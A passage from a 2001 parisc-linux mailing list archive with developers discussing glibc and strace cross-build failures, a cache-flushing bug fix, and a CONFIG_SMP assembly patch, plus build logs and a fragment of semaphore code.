				sem->rw_count = RWSEM_WRITE;
			}
		} else {
			if (!more_readers) {
				sem->rw_count = 0;
			} else {
				sem->rw_count = RWSEM_READ;
			}
		}
		wake_up(&sem->writers);
	} else {
		int more_writers = list_empty(&sem->writers.task_list);
		if (more_writers) {
			sem->rw_count = RWSEM_WRITE;
		} else {
			sem->rw_count = 0;
		}
		wake_up(&sem->readers);
	}
}

I suspect I could encode more information in the rwcount that might
make it unnecessary to check the waitqueues explicitly.




From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] problems building glibc
Date: Thu, 08 Feb 2001 08:08:18 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <3A8245E2.56628B1@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619852 15202 80.91.229.3 (22 Nov 2014 01:30:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 00:08:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35C484A1C
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 00:08:29 -0700 (MST)
Original-Received: from esiee.net (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP id 82C54D1585
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 08:08:27 +0100 (CET)
X-Mailer: Mozilla 4.75 [fr] (Win98; U)
X-Accept-Language: fr
Xref: news.gmane.org gmane.linux.ports.parisc:10207

Hi!

I tried to build a new toolchain, without success:

CVS was checked out a few minutes after Alan Modra commited tc-hppa.c
now the palinux-autobuilder ends builbing glibc:

hppa-linux-gcc ../sysdeps/generic/glob.c -c -O2 -Wall -Winline
-Wstrict-prototypes -Wwrite-strings -g      -I../include -I.
-I/home/mklxav/xc-build/glibc/posix -I.. -I../libio
-I/home/mklxav/xc-build/glibc -I../sysdeps/hppa/elf
-I../linuxthreads/sysdeps/unix/sysv/linux/hppa
-I../linuxthreads/sysdeps/unix/sysv/linux
-I../linuxthreads/sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv
-I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa
-I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux
-I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman
-I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix
-I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32
-I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64
-I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa
-I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic
-nostdinc -isystem /home/mklxav/xc/lib/gcc-lib/hppa-linux/2.96/include
-isystem /home/mklxav/cvs/linux/include -D_LIBC_REENTRANT -include
../include/libc-symbols.h     -o
/home/mklxav/xc-build/glibc/posix/glob.o
../sysdeps/generic/glob.c: In function `glob_in_dir':
../sysdeps/generic/glob.c:1446: Internal compiler error in
eliminate_regs, at reload1.c:2505
   Please submit a full bug report.
   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.

make[2]: *** [/home/mklxav/xc-build/glibc/posix/glob.o] Error 1
make[1]: *** [posix/subdir_lib] Error 2
make: *** [all] Error 2
make[2]: Leaving directory `/home/mklxav/cvs/glibc/posix'
make[1]: Leaving directory `/home/mklxav/cvs/glibc'


in a new and empty user account (mklxav), I created ~/cvs in which there
are cvs files ( binutils gcc glibc linux palo ) and the include dir.

then run the palinux-autobuilder with these modifications:

$top="/home/mklxav";    # Top level
$src="$top/cvs";                # Where your checked-out CVS sources
live
$scratch="$top/xc-build";       # Where your build sub-dirs go
$tempxc="$top/xc";              # Where the temporary binutils/gcc bits
go
$xcprefix="$top/palinux";       # Where to put the final xc bits, needs
to be
                                # owned by the current user(to avoid
sudo)
$nativeprefix="$top/pa-native"; # Where the cross-compiled native tools
                                # will be installed on the native system

$logdir="$top/log";             # Where to put the log files

[...]

# update our CVS bits and includes
#&updatebits;



there were some problems building kernel dependencies the first time I
ran the script.
linux> make oldconfig
linux> make dep
seems to have fixed that.


Thanks for your help!

Xavier.
ESIEE Team
http://www.esiee.fr/puffin






From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] problems building glibc
Date: Thu, 8 Feb 2001 23:03:42 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102082227570.9776-100000@front.linuxcare.com.au>
References: <3A8245E2.56628B1@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619853 15206 80.91.229.3 (22 Nov 2014 01:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Xavier Debacker <xavier.debacker@esiee.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 05:04:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id D52E14A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 05:04:01 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id XAA11226;
	Thu, 8 Feb 2001 23:03:42 +1100
In-Reply-To: <3A8245E2.56628B1@esiee.net>
Xref: news.gmane.org gmane.linux.ports.parisc:10208

On Thu, 8 Feb 2001, Xavier Debacker wrote:

> ../sysdeps/generic/glob.c: In function `glob_in_dir':
> ../sysdeps/generic/glob.c:1446: Internal compiler error in
> eliminate_regs, at reload1.c:2505

Its a known bug with our mainline gcc, exposed by glibc now being
compiled at -O2 rather than -O1.  See
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011609.html

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Set Associative cache flushing bug
Date: Thu, 8 Feb 2001 06:10:05 -0700 (MST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200102081310.GAA24428@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619853 15211 80.91.229.3 (22 Nov 2014 01:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 06:10:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F0014A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 06:10:06 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id B2B7BB46
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 08:10:05 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id GAA24428 for parisc-linux@lists.parisc-linux.org; Thu, 8 Feb 2001 06:10:05 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:10209

I just checked in a fix for a bug we had when flushing the entire cache
on processors with set associative caches (PCXL2, PCXW, PCXW+). The
bug probably rarely occured on PCXL2, but happens fairly often on most
PCXW(+) machines. With this checkin we've been able to natively build
a kernel multiple times on a C3K and A500 (both with the 64 bit kernel).

So, top of branch is once again in fairly stable condition, and possibly
better than ever for PCXW/PCXW+ based machines.

John




From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 runs w/ latest CVS bits
Date: Thu, 8 Feb 2001 10:12:03 -0600 (CST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102081008560.816-100000@maestro.symsys.com>
References: <200102081310.GAA24428@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619853 15214 80.91.229.3 (22 Nov 2014 01:30:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 09:12:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maestro.symsys.com (maestro.symsys.com [208.223.9.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E89A4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 09:12:04 -0700 (MST)
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id KAA00943
	for <parisc-linux@lists.parisc-linux.org>; Thu, 8 Feb 2001 10:12:03 -0600
In-Reply-To: <200102081310.GAA24428@udlkern.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10210

Just reporting in...

Got the latest CVS bits this morning, built and booted my C100.  I
couldn't run after updating a few days ago.  Perhaps it's the recent cache
bug fix.

Regards,

- Greg






From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] more CONFIG_SMP changes to review
Date: Thu, 8 Feb 2001 12:53:35 -0800 (PST)
Lines: 141
Approved: news@gmane.org
Message-ID: <200102082053.MAA06953@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619854 15216 80.91.229.3 (22 Nov 2014 01:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 13:51:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34E984A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 13:51:07 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 64CC8B73
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 12:51:06 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id MAA06953
	for parisc-linux@lists.parisc-linux.org; Thu, 8 Feb 2001 12:53:35 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:10211

Could interested folks review the following two file changes?
I'd like to commit this later tonight if possible.

arch/parisc/kernel/entry.S	Fix indexing into irq_stat[]
include/asm-parisc/assembly.h	Add shl, shlw (alias), and shld as per
				PA2.0 arch manual.

I've only tested on A500 w/CONFIG_SMP and will test
32-bit on c3k (CONFIG_SMP=n) as well.

A500 now gets past:
...
SMP: bootstrap CPU ID is 0
sboc: task 0x00000000cfff0000 for 1/1
sboc: CPU 1 state 0x0 flags 0x40
FP[1] enabled: Rev 1 Model 16
SMP: CPU:1  CR15 ffffffffffffffff CR22 804000e CR23 0
SMP: CPU:1 (num 1) came alive after 9800 _us
SMP: Total 2 of 2 processors activated (1756.36 BogoMIPS noticed).
SMP: BSP before
SMP: CPU:1  CR15 ffffffffffffffff CR22 804000e CR23 0 
SMP: CPU:1 calling cpu_idle()
SMP: BSP proceeding
...
SBA found Astro 2.1 at 0xfffffffffed00000                                       
Linux NET4.0 for Linux 2.4                                                      
Based upon Swansea University Computer Society NET3.039                         
kernel BUG at sched.c:522!
...
and then gives a stack dump with:

Kernel Fault: Code=26 regs=00000000cfff0c40 (Addr=00000024)                     


but that's good forward progress with help from recent commits
by jsm, richard, and hints from paul bame!

thanks,
grant


Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.65
diff -u -p -r1.65 entry.S
--- entry.S	2001/02/08 18:26:47	1.65
+++ entry.S	2001/02/08 20:23:30
@@ -617,21 +617,24 @@ intr_return:
 
 	.import irq_stat,data
 
-	ldil    L%irq_stat,%r19
-	ldo     R%irq_stat(%r19),%r19
+	ldil	L%irq_stat,%r19
+	ldo	R%irq_stat(%r19),%r19
 	LDIL_FIXUP(%r19)
 
 #ifdef CONFIG_SMP
-	copy    %r30,%r1
+	copy	%r30,%r1
 	/* FIXME! depi below has hardcoded dependency on kernel stack size */
-	depi    0,31,14,%r1 /* get task pointer */
-	ldw     TASK_PROCESSOR(%r1),%r20 /* get cpu # - int */
-#if (IRQSTAT_SZ == 32)
-	dep     %r20,26,27,%r20 /* shift left 5 bits */
+	depi	0,31,14,%r1 /* get task pointer */
+	ldw	TASK_PROCESSOR(%r1),%r1 /* get cpu # - int */
+	/* shift left ____cacheline_aligned (aka L1_CACHE_BYTES) amount
+	** irq_stat[] is defined using ____cacheline_aligned.
+	*/
+#if __LP64__
+	shld	%r1, 6, %r20
 #else
-#error IRQSTAT_SZ changed, fix dep
-#endif /* IRQSTAT_SZ */
-	add     %r19,%r20,%r19
+	shl	%r1, 5, %r20
+#endif
+	add     %r19,%r20,%r19	/* now have &irq_stat[smp_processor_id()] */
 #endif /* CONFIG_SMP */
 
 	ldw     IRQSTAT_SI_ACTIVE(%r19),%r20	/* hardirq.h: unsigned int */
@@ -2006,15 +2009,17 @@ syscall_check_bh:
 
 #ifdef CONFIG_SMP
 	/* sched.h: int processor */
-	ldw     TASK_PROCESSOR-TASK_SZ_ALGN-FRAME_SIZE(%r30),%r20 /* get cpu # */
-#if (IRQSTAT_SZ == 32)
-	dep     %r20,26,27,%r20 /* shift left 5 bits */
+	/* %r26 is used as scratch register to index into irq_stat[] */
+	ldw     TASK_PROCESSOR-TASK_SZ_ALGN-FRAME_SIZE(%r30),%r26 /* cpu # */
+
+	/* shift left ____cacheline_aligned (aka L1_CACHE_BYTES) bits */
+#if __LP64__
+	shld	%r26, 6, %r20
 #else
-#error IRQSTAT_SZ changed, fix dep
-#endif /* IRQSTAT_SZ */
-	add     %r19,%r20,%r19
+	shl	%r26, 5, %r20
+#endif
+	add     %r19,%r20,%r19	/* now have &irq_stat[smp_processor_id()] */
 #endif /* CONFIG_SMP */
-
 	ldw     IRQSTAT_SI_ACTIVE(%r19),%r20	/* hardirq.h: unsigned int */
 	ldw     IRQSTAT_SI_MASK(%r19),%r19	/* hardirq.h: unsigned int */
 	and     %r19,%r20,%r20

Index: include/asm-parisc/assembly.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/assembly.h,v
retrieving revision 1.15
diff -u -p -r1.15 assembly.h
--- assembly.h	2000/12/11 13:10:49	1.15
+++ assembly.h	2001/02/08 20:23:31
@@ -59,7 +59,20 @@
 	.macro	debug value
 	.endm
 
+
+	/* Shift Left - note the r and t can NOT be the same! */
+	.macro shl r, sa, t
+	dep,z	\r, 31-\sa, 32-\sa, \t
+	.endm
+
 #ifdef __LP64__
+/* Alias for pa2.0 insn name. */
+#define	shlw	shl
+
+	.macro shld r, sa, t
+	depd,z	\r, 63-\sa, 64-\sa, \t
+	.endm
+
 # define LDIL_FIXUP(reg) depdi 0,31,32,reg
 #else
 # define LDIL_FIXUP(reg)
 




From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Initial setup of the `glibc' in the target root file system
Date: Thu, 08 Feb 2001 23:49:18 +0100
Organization: private
Lines: 36
Approved: news@gmane.org
Message-ID: <3A83226E.A3A77F70@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619854 15220 80.91.229.3 (22 Nov 2014 01:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 15:49:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEC934A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 15:49:21 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-005.dot.at [212.9.128.45])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id AAA31869
	for <parisc-linux@lists.parisc-linux.org>; Fri, 9 Feb 2001 00:00:21 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10212

After the glibc builts perfect, I have a problem in setting up the root
!
How can I install the glibc (/lib) to the root file system.
I tried to do a "perfect copy" of the root via `tar' from
/usr/parisc/hppa-linux 
to /tftpboot/apollo (my nfs mounted root).

But how can I prepare the .../etc/ld.so.cahce file or whatever is
needed.
Using a ldconfig from the host fails, using the -r option for another
root:

	ldconfig -r /tftpboot/apollo

Ldconfig terminates without errors, but the system mounting my NFS-root
crashes
with page fault or with "cannot find libc.6.so". Only the root of the
palinux-0.5
image is working.
Which of the two error reaction occurs depends on the ldconfig and
platform.
I tried ldconfig of RH-6.1 on intel and RH-6.2 on sparc.

Whats the correct way ?

With friendly regards
	Christoph


-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] //strace// Generic Parisc Linux Kernel Questions&  
 9000/730 success report
Date: Thu, 08 Feb 2001 23:42:47 +0100
Organization: private
Lines: 95
Approved: news@gmane.org
Message-ID: <3A8320E7.CF0F64A3@dot.at>
References: <Pine.LNX.4.21.0102080959100.7974-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619854 15224 80.91.229.3 (22 Nov 2014 01:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:54 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
	Richard Hirst <rhirst@linuxcare.com>,
	Grant Grundler <grundler@cup.hp.com>,
	"M. Grabert" <xam@deathsdoor.com>,
	parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 15:53:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 733DD4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 15:53:05 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-005.dot.at [212.9.128.45])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id XAA31798;
	Thu, 8 Feb 2001 23:53:50 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10213

Again, I have problems with strace:
-----------------------------------

(0) autoconf is ok
    automake reports errors... (I think I need that !)

configure.in: 86: `automake requires `AM_CONFIG_HEADER', not
`AC_CONFIG_HEADER'
automake: configure.in: `PACKAGE' not defined in configure.in
automake: configure.in: `VERSION' not defined in configure.in
automake: configure.in: required file `./mkinstalldirs' not found
automake: configure.in: required file `./missing' not found
automake: no `Makefile.am' found or specified


(1) The `configure' scripts reports 2 problems

bash# HOSTCC=gcc CC=hppa-linux-gcc ../configure --target=hppa-linux
--host=hppa-linux
:
:
creating Makefile
creating linux/Makefile
sed: can't read ./linux/Makefile.in: No such file or directory
creating config.h
cat: ./config.h.in: No such file or directory

(2) make fails fully ... (this is the full log of make !!)

hppa-linux-gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa
-Ilinux -I./linux -D_GNU_SOURCE  -c strace.c
defs.h:421: conflicting types for `strerror'
/usr/parisc/hppa-linux/include/string.h:229: previous declaration of
`strerror'
defs.h:424: conflicting types for `strsignal'
/usr/parisc/hppa-linux/include/string.h:306: previous declaration of
`strsignal'
strace.c:1005: conflicting types for `sys_errlist'
/usr/parisc/hppa-linux/include/stdio.h:564: previous declaration of
`sys_errlist'
strace.c:1009: parse error before '(' token
strace.c:1029: conflicting types for `sys_siglist'
/usr/parisc/hppa-linux/include/signal.h:281: previous declaration of
`sys_siglist'
make: *** [strace.o] Error 1

		
I have the glibc built cross (I built also the toolchain). The stuff was
from the
snapshot of the Jan 13th 2001 !!
The toolchain works very well !

Have I a wrong glibc version, or is strace not ready for my version yet
??

With friendly regards
	Christoph




Alan Modra wrote:
> 
> On Wed, 7 Feb 2001, Christoph Plattner wrote:
> 
> > I was definitly not able to build strace with the current tool chain
> > (I have built myself from Jan 13, 2001). The system calls and other
> > parts seem not to be compatible any more....
> 
> Did you build glibc too?  I should own up to breaking our CVS glibc with
> 
> revision 1.3
> date: 2001/01/16 14:09:38
> 
> and not fixing it until
> 
> revision 1.4
> date: 2001/02/05 14:58:22
> 
> Alan (Embarrassed) Modra
> --
> Linuxcare.  Support for the Revolution.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] //strace// Generic Parisc Linux Kernel Questions& 9000/730 success report
Date: Thu, 8 Feb 2001 23:55:54 +0000
Lines: 109
Approved: news@gmane.org
Message-ID: <20010208235554.G1374@linuxcare.com>
References: <Pine.LNX.4.21.0102080959100.7974-100000@front.linuxcare.com.au> <3A8320E7.CF0F64A3@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619854 15227 80.91.229.3 (22 Nov 2014 01:30:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:54 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
	parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  8 16:55:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id E78164A19
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Feb 2001 16:55:37 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 014D2B005; Thu,  8 Feb 2001 23:55:54 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A8320E7.CF0F64A3@dot.at>; from christoph.plattner@dot.at on Thu, Feb 08, 2001 at 11:42:47PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10214

On Thu, Feb 08, 2001 at 11:42:47PM +0100, Christoph Plattner wrote:
> Again, I have problems with strace:
> -----------------------------------

Works for me, this is on a B180, latest nfsroot.tar.gz (but on local
disk), with most of the newer debs from

ftp://puffin.external.hp.com/pub/parisc/binaries/new-debs/debian/

However, I believe it worked for me before those updates also:


richard@merlin:~$ uname -a
Linux merlin 2.4.0 #2 Wed Feb 7 16:29:34 GMT 2001 parisc unknown
richard@merlin:~$ 
richard@merlin:~$ cvs checkout strace
cvs server: Updating strace
U strace/.cvsignore
U strace/COPYRIGHT
...
...
U strace/test/sfd.c
U strace/test/sig.c
richard@merlin:~$ 
richard@merlin:~$ 
richard@merlin:~$ cd strace
richard@merlin:~/strace$ autoconf
richard@merlin:~/strace$ autoheader 
richard@merlin:~/strace$ ./configure
creating cache ./config.cache
checking host system type... hppa-unknown-linux-gnu
checking for supported operating system... linux
checking for supported architecture... hppa
checking for gcc... gcc
checking whether the C compiler (gcc -D_GNU_SOURCE  ) works... yes
checking whether the C compiler (gcc -D_GNU_SOURCE  ) is a cross-compiler... no
...
...
updating cache ./config.cache
creating ./config.status
creating Makefile
creating linux/hppa/Makefile
creating config.h
richard@merlin:~/strace$ make
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c strace.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c version.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c syscall.c
syscall.c:459: warning: `decode_subcall' defined but not used
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c util.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c desc.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c file.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c ipc.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c io.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c ioctl.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c mem.c
gcc -Wall -DHAVE_CONFIG_H   -I. -Ilinux/hppa -I./linux/hppa -Ilinux -I./linux -D_GNU_SOURCE  -c net.c
